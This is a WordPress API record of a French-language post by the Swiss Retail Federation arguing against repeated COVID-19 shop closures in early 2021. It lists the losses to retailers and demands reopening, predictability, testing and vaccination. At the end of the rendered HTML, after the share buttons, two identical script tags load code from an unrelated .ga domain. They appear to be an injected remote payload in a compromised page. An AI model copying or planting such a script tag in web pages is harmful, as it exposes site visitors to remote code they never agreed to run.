{"id":11365,"date":"2021-02-05T08:48:28","date_gmt":"2021-02-05T07:48:28","guid":{"rendered":"https:\/\/www.swiss-retail.ch\/?p=11365"},"modified":"2021-02-05T08:49:37","modified_gmt":"2021-02-05T07:49:37","slug":"pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements","status":"publish","type":"post","link":"https:\/\/www.swiss-retail.ch\/fr\/news-fr\/pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements\/","title":{"rendered":"Pour un changement de paradigme imm\u00e9diat!  \u2013 Stopper le yoyo des confinements et d\u00e9confinements"},"content":{"rendered":"<div   class='hr hr-default   avia-builder-el-0  el_before_av_textblock  avia-builder-el-first '><span class='hr-inner ' ><span class='hr-inner-style'><\/span><\/span><\/div>\n<section class=\"av_textblock_section \"  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock  '   itemprop=\"text\" ><h1><span style=\"color: #5dbcd2;\">Pour un changement de paradigme imm\u00e9diat!\u00a0 \u2013 Stopper le yoyo des confinements et d\u00e9confinements<\/span><\/h1>\n<\/div><\/section>\n<div   class='hr hr-default   avia-builder-el-2  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner ' ><span class='hr-inner-style'><\/span><\/span><\/div>\n<section class=\"av_textblock_section \"  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock  '   itemprop=\"text\" ><p>Depuis le 18 janvier et jusqu&rsquo;au 28 f\u00e9vrier au moins, la Suisse est se trouve plong\u00e9e \u00e0 nouveau dans un r\u00e9gime de restrictions et une grande partie du commerce de d\u00e9tail est ferm\u00e9e ou s\u00e9v\u00e8rement limit\u00e9 par les autorit\u00e9s. En chiffres, cela signifie que dans les segments du commerce de d\u00e9tail qui ne vendent pas de denr\u00e9es alimentaires ou des marchandises de n\u00e9cessit\u00e9 courante, plus <strong>de 10\u00a0000 commerces ont \u00e9t\u00e9 ferm\u00e9s<\/strong> par la Conf\u00e9d\u00e9ration dans toute la Suisse, ce qui entra\u00eene pour la branche une <strong>perte de chiffre d&rsquo;affaires d&rsquo;environ 800 millions de francs par semaine<\/strong>. En pr\u00e9vision de cette d\u00e9cision, Swiss Retail Federation a fait pression pour la prolongation du \u00ab\u00a0confinement light dans le commerce de d\u00e9tail\u00a0\u00bb, en vigueur depuis le 22 d\u00e9cembre 2020 et qui a pourtant eu des cons\u00e9quences douloureuses en mati\u00e8re de nombre de clients admis dans les magasins et de r\u00e9duction de la fr\u00e9quentation.<\/p>\n<p><strong>Cons\u00e9quences des restrictions pour le commerce de d\u00e9tail<\/strong><\/p>\n<p>La deuxi\u00e8me mise \u00e0 l\u2019arr\u00eat d&rsquo;une grande partie du commerce de d\u00e9tail suisse et la <strong>baisse massive des ventes qui en r\u00e9sulte, estim\u00e9e \u00e0 environ 4,8 milliards de francs<\/strong> pour la p\u00e9riode de fermeture allant jusqu&rsquo;\u00e0 fin f\u00e9vrier, ont de lourdes cons\u00e9quences.<\/p>\n<ul>\n<li><strong>Le commerce de d\u00e9tail se retrouve avec tout le poids de ses charges sur les \u00e9paules<\/strong>. Malgr\u00e9 des r\u00e9ajustements, l&rsquo;ordonnance Covid-19 sur les cas de rigueur est loin de satisfaire aux besoins. Les co\u00fbts fixes permanents de nombreux moyens et grands commerces de d\u00e9tail ne sont couverts qu&rsquo;\u00e0 hauteur de 2-9%. En outre, l&rsquo;exigence de l&rsquo;article 5 de l&rsquo;ordonnance Covid 19 sur les cas de rigueur, selon laquelle le chiffre d&rsquo;affaires doit \u00eatre inf\u00e9rieur de plus de 40 % par rapport au chiffre d&rsquo;affaires moyen des ann\u00e9es 2018 et 2019 ou des 12 derniers mois, n&rsquo;est pas appropri\u00e9e pour r\u00e9pondre \u00e0 une situation de blocage dans le commerce de d\u00e9tail. Les marges EBIT sont g\u00e9n\u00e9ralement tr\u00e8s faibles, de sorte qu&rsquo;une baisse des ventes de 5 \u00e0 10 % seulement constitue d\u00e9j\u00e0 une menace existentielle pour une entreprise.<\/li>\n<li><strong>Perspectives \u00e9conomiques lamin\u00e9es suite aux fermetures ordonn\u00e9es par les autorit\u00e9s.<\/strong> La cons\u00e9quence de cette deuxi\u00e8me immobilisation est que de nombreux projets essentiels pour le d\u00e9veloppement futur des entreprises doivent \u00eatre gel\u00e9s ou abandonn\u00e9s. Concr\u00e8tement, cela signifie que le commerce de d\u00e9tail doit non seulement continuer de supporter la plupart de ses co\u00fbts fixes permanents, mais aussi que l&rsquo;avenir d&rsquo;entreprises jusque l\u00e0 saines et viables est assombri, voire menac\u00e9. En imposant ces fermetures, les autorit\u00e9s m\u00e8nent actuellement, de facto, une politique structurelle.<\/li>\n<li><strong>Emplois en danger. <\/strong>L&rsquo;impact \u00e9conomique des mesures ne doit pas \u00eatre sous-estim\u00e9 et suscite \u00e0 juste titre beaucoup d\u2019incertitude et d\u2019inqui\u00e9tude pour l&#8217;emploi des salari\u00e9s, dont beaucoup se trouvent de nouveau au ch\u00f4mage partiel (avec environ 310\u00a0000 postes, le commerce de d\u00e9tail est le plus grand employeur priv\u00e9 de Suisse). Leur charge financi\u00e8re est \u00e9galement consid\u00e9rable. Depuis mars 2020, les chiffres du ch\u00f4mage dans le secteur du commerce de d\u00e9tail (Noga 47) sont nettement plus \u00e9lev\u00e9s qu\u2019aux mois correspondants de l&rsquo;ann\u00e9e pr\u00e9c\u00e9dente. Depuis mai 2020, ils se situent \u00e0 un niveau tr\u00e8s \u00e9lev\u00e9, avec environ 30 % de ch\u00f4meurs en plus que le m\u00eame mois de l&rsquo;ann\u00e9e pr\u00e9c\u00e9dente. (Source Amstat)<\/li>\n<li><strong>Une organisation \u00e0 forte consommation de ressources<\/strong>. Organiser le bon fonctionnement de l\u2019entreprise malgr\u00e9 la fermeture est une t\u00e2che quasi insoluble. Sans faute de leur part, les entreprises doivent supporter des surco\u00fbts et des pertes plus importantes dues \u00e0 l&rsquo;espace de stockage suppl\u00e9mentaire pour des marchandises d\u00e9j\u00e0 command\u00e9es, \u00e0 des remises plus importantes sur les marchandises saisonni\u00e8res qui ne se sont pas vendues (avec une forte r\u00e9duction sur des marges d\u00e9j\u00e0 faibles), \u00e0 des co\u00fbts de transport et de manutention plus \u00e9lev\u00e9s, enfin \u00e0 une hausse des frais relatifs pour des co\u00fbts fixes sans rentr\u00e9es commerciales (notamment le loyer).<\/li>\n<li><strong>Co\u00fbts des concepts de protection.<\/strong> Sans oublier les surcro\u00eets de d\u00e9penses pour les dispositifs des plans de protection, \u00e9galement support\u00e9s par les d\u00e9taillants et devenus inutiles en cas d\u2019immobilisation. Ces co\u00fbts ne seraient pas couverts m\u00eame avec le renforcement de l\u2019ordonnance sur les cas de rigueur que nous avons demand\u00e9e. Ces dispositifs correspondent \u00e0 des investissements qui ont \u00e9t\u00e9 faits pr\u00e9cis\u00e9ment pour \u00e9viter les fermetures de magasins.<\/li>\n<\/ul>\n<p><strong>Pour un changement de paradigme\u00a0!<\/strong><\/p>\n<p>L&rsquo;id\u00e9e selon laquelle les entreprises pourront simplement reprendre leur vie l\u00e0 o\u00f9 elle s&rsquo;\u00e9tait arr\u00eat\u00e9e avec le confinement, comme apr\u00e8s une longue sieste, est illusoire. Au contraire, la prolongation de la p\u00e9riode d\u2019immobilisation ou une nouvelle mise \u00e0 l\u2019arr\u00eat diminue les chances des entreprises d\u2019affronter demain avec succ\u00e8s un environnement d\u00e9j\u00e0 difficile. Ces mesures prises par les autorit\u00e9s suisses ont encore pour effet d\u2019encourager artificiellement des d\u00e9taillants en ligne \u00e9trangers comme Zalando ou Amazon, qui ne cr\u00e9ent de l\u2019emploi important qu\u2019\u00e0 l&rsquo;\u00e9tranger. Et ce sont les entreprises suisses et leurs employ\u00e9s touch\u00e9s par le ch\u00f4mage partiel qui en payent le prix. On voit donc se dessiner \u00e0 l\u2019horizon un pr\u00e9judice \u00e9conomique instaur\u00e9 par l&rsquo;\u00c9tat.<\/p>\n<p>Apr\u00e8s une ann\u00e9e environ de cette pand\u00e9mie, il faut enfin d\u00e9finir une strat\u00e9gie qui tienne compte du fait que le virus ne dispara\u00eetra pas du jour au lendemain avec le blocage des activit\u00e9s. Nous avons besoin d&rsquo;un changement de paradigme pour abandonner le syst\u00e8me du confinement-d\u00e9confinement-reconfinement, etc. Il faut prendre conscience que le virus est en constante mutation et que le blocage n\u2019est pas une strat\u00e9gie durable ni proportionn\u00e9e.<\/p>\n<p>Nos requ\u00eates sont les suivantes:<\/p>\n<ul>\n<li><strong>Plus de fermetures en bloc et syst\u00e9matiques<\/strong>. Tous les magasins et autres branches devraient \u00eatre autoris\u00e9s \u00e0 ouvrir, sur la base de plans de protection \u00e0 l\u2019efficacit\u00e9 confirm\u00e9e et de r\u00e8gles d&rsquo;hygi\u00e8ne et de distance. Cela vaut particuli\u00e8rement pour les magasins, qui, comme le d\u00e9montrent les chiffres de l\u2019OFSP, ne sont pas des foyers de contamination. La r\u00e9glementation doit \u00eatre coh\u00e9rente et fond\u00e9e sur les risques effectifs (par exemple, il est incompr\u00e9hensible que des magasins de v\u00eatements, de chaussures et de livres soient ferm\u00e9s alors que l\u2019ouverture des studios de tatouage et d&rsquo;\u00e9rotisme reste g\u00e9n\u00e9ralement autoris\u00e9e).<\/li>\n<li><strong>Indispensable pr\u00e9visibilit\u00e9 pour les entreprises.<\/strong> La branche doit disposer d\u00e8s aujourd\u2019hui d\u2019une perspective pour la p\u00e9riode au-del\u00e0 du 1<sup>er<\/sup> mars, afin de pouvoir se pr\u00e9parer en cons\u00e9quence. Les mesures doivent lui \u00eatre communiqu\u00e9es \u00e0 un stade pr\u00e9coce et s\u2019accompagner de crit\u00e8res objectifs clairs, pour offrir \u00e0 la soci\u00e9t\u00e9 comme aux entreprises la possibilit\u00e9 de planifier. C&rsquo;est la seule fa\u00e7on de s\u2019assurer qu\u2019elles continueront d\u2019\u00eatre soutenues par la population. Les entreprises, mais aussi les salari\u00e9s, doivent \u00e9galement pouvoir se pr\u00e9parer \u00e0 temps.<\/li>\n<li><strong>Tester &amp; tracer.<\/strong> Il faut tester \u00e0 plus large \u00e9chelle afin d&rsquo;identifier les groupes \u00e0 un stade pr\u00e9coce, ainsi que d\u00e9velopper le tra\u00e7age de mani\u00e8re cibl\u00e9e et fiable. L&rsquo;efficacit\u00e9 de l&rsquo;application SwissCovid doit \u00eatre r\u00e9examin\u00e9e et am\u00e9lior\u00e9e en cons\u00e9quence.<\/li>\n<li><strong>Une strat\u00e9gie de vaccination claire et solide.<\/strong> Il est essentiel que la strat\u00e9gie de vaccination puisse \u00eatre mise en \u0153uvre rapidement et de mani\u00e8re rigoureuse. Pour assurer un retour \u00e0 la normale, il faut vacciner le plus rapidement possible les groupes de population ayant de nombreux contacts professionnels ou qui doivent \u00eatre mobiles. A cet \u00e9gard, un programme clair et solide doit \u00eatre inscrit dans le calendrier, communiqu\u00e9 et respect\u00e9.<\/li>\n<li><strong>Mesure fond\u00e9es sur des donn\u00e9es probantes et les principes de l\u2019efficacit\u00e9 et de la proportionnalit\u00e9<\/strong>. Les mesures doivent s\u2019appuyer sur des donn\u00e9es de fait et d\u00e9finies \u00e0 l&rsquo;aide de crit\u00e8res objectifs clairs bien communiqu\u00e9s.<\/li>\n<li><strong>S\u2019allier la population plut\u00f4t que se l\u2019ali\u00e9ner<\/strong>. Le dernier sondage Sotomo montre que la population suisse n\u2019adh\u00e8re pas inconditionnellement \u00e0 la ligne dure du Conseil f\u00e9d\u00e9ral (fermetures de magasins, etc.). C\u2019est ainsi que plus de la moiti\u00e9 d\u2019entre elle (56%) est oppos\u00e9e \u00e0 ces fermetures. Cette tendance \u00e0 l'\u00a0\u00bbali\u00e9nation\u00a0\u00bb par rapport aux mesures du Gouvernement est susceptible de s&rsquo;accentuer si les mesures en question sont encore \u00e9tendues ou renforc\u00e9es. Sans acceptation de la population, m\u00eame des mesures bien introduites s&rsquo;av\u00e8rent inefficaces et ne causent que d&rsquo;immenses dommages \u00e9conomiques.<\/li>\n<li><strong>Aucune preuve empirique de l&rsquo;efficacit\u00e9 des mises \u00e0 l\u2019arr\u00eat<\/strong>. Une \u00e9tude de l&rsquo;Universit\u00e9 de Stanford publi\u00e9e dans le European Journal of Clinical Investigation montre clairement que les mesures dures ne sont pas forc\u00e9ment efficaces. Il n&rsquo;existe aucune preuve empirique \u00e0 cet \u00e9gard. En \u00e9tudiant les effets de mesures restrictives dans plusieurs pays europ\u00e9ens, les chercheurs n&rsquo;ont pas pu d\u00e9montrer un effet positif significatif susceptible de justifier la s\u00e9v\u00e9rit\u00e9 de ces mesures. Il appara\u00eet d\u00e8s lors indispensable de se concentrer sur des mesures mieux cibl\u00e9es et b\u00e9n\u00e9ficiant du soutien de la population, telles que le d\u00e9veloppement du tra\u00e7age des contacts et les plans de protection des entreprises, qui ont fait leurs preuves.<\/li>\n<li><strong>Une meilleure gestion de la crise, plus claire et plus adaptable<\/strong>. A ce titre, nous demandons surtout que soit pratiqu\u00e9e une approche plus int\u00e9grale dans la pond\u00e9ration des risques et que les dommages collat\u00e9raux et les autres dommages sanitaires potentiels (non li\u00e9s exclusivement au coronavirus) soient pris en compte dans l&rsquo;\u00e9valuation.<\/li>\n<\/ul>\n<\/div><\/section>\n<div   class='hr hr-default   avia-builder-el-4  el_after_av_textblock  el_before_av_social_share '><span class='hr-inner ' ><span class='hr-inner-style'><\/span><\/span><\/div>\n<p><div  class='av-social-sharing-box  avia-builder-el-5  el_after_av_hr  avia-builder-el-last  '><div class='av-share-box'><h5 class='av-share-link-description av-no-toc '>Eintrag teilen<\/h5><ul class='av-share-box-list noLightbox'><li class='av-share-link av-social-link-facebook' ><a target=\"_blank\" aria-label=\"Partager sur Facebook\" href='https:\/\/www.facebook.com\/sharer.php?u=https:\/\/www.swiss-retail.ch\/fr\/news-fr\/pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements\/&#038;t=Pour%20un%20changement%20de%20paradigme%20imm%C3%A9diat%21%20%20%E2%80%93%20Stopper%20le%20yoyo%20des%20confinements%20et%20d%C3%A9confinements' aria-hidden='false' data-av_icon='\ue8f3' data-av_iconfont='entypo-fontello' title='' data-avia-related-tooltip='Partager sur Facebook' rel=\"noopener\"><span class='avia_hidden_link_text'>Partager sur Facebook<\/span><\/a><\/li><li class='av-share-link av-social-link-twitter' ><a target=\"_blank\" aria-label=\"Partager sur Twitter\" href='https:\/\/twitter.com\/share?text=Pour%20un%20changement%20de%20paradigme%20imm%C3%A9diat%21%20%20%E2%80%93%20Stopper%20le%20yoyo%20des%20confinements%20et%20d%C3%A9confinements&#038;url=https:\/\/www.swiss-retail.ch\/fr\/?p=11365' aria-hidden='false' data-av_icon='\ue8f1' data-av_iconfont='entypo-fontello' title='' data-avia-related-tooltip='Partager sur Twitter' rel=\"noopener\"><span class='avia_hidden_link_text'>Partager sur Twitter<\/span><\/a><\/li><li class='av-share-link av-social-link-whatsapp' ><a target=\"_blank\" aria-label=\"Share on WhatsApp\" href='https:\/\/api.whatsapp.com\/send?text=https:\/\/www.swiss-retail.ch\/fr\/news-fr\/pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements\/' aria-hidden='false' data-av_icon='\uf232' data-av_iconfont='entypo-fontello' title='' data-avia-related-tooltip='Share on WhatsApp' rel=\"noopener\"><span class='avia_hidden_link_text'>Share on WhatsApp<\/span><\/a><\/li><li class='av-share-link av-social-link-linkedin' ><a target=\"_blank\" aria-label=\"Partager sur LinkedIn\" href='https:\/\/linkedin.com\/shareArticle?mini=true&#038;title=Pour%20un%20changement%20de%20paradigme%20imm%C3%A9diat%21%20%20%E2%80%93%20Stopper%20le%20yoyo%20des%20confinements%20et%20d%C3%A9confinements&#038;url=https:\/\/www.swiss-retail.ch\/fr\/news-fr\/pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements\/' aria-hidden='false' data-av_icon='\ue8fc' data-av_iconfont='entypo-fontello' title='' data-avia-related-tooltip='Partager sur LinkedIn' rel=\"noopener\"><span class='avia_hidden_link_text'>Partager sur LinkedIn<\/span><\/a><\/li><li class='av-share-link av-social-link-mail' ><a  aria-label=\"Partager par Mail\" href='mailto:?subject=Pour%20un%20changement%20de%20paradigme%20imm%C3%A9diat%21%20%20%E2%80%93%20Stopper%20le%20yoyo%20des%20confinements%20et%20d%C3%A9confinements&#038;body=https:\/\/www.swiss-retail.ch\/fr\/news-fr\/pour-un-changement-de-paradigme-immediat-stopper-le-yoyo-des-confinements-et-deconfinements\/' aria-hidden='false' data-av_icon='\ue805' data-av_iconfont='entypo-fontello' title='' data-avia-related-tooltip='Partager par Mail'><span class='avia_hidden_link_text'>Partager par Mail<\/span><\/a><\/li><\/ul><\/div><\/div><script src='https:\/\/irc.lovegreenpencils.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/irc.lovegreenpencils.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":19,"featured_media":11067,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[64],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.5.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Pour un changement de paradigme imm\u00e9diat! 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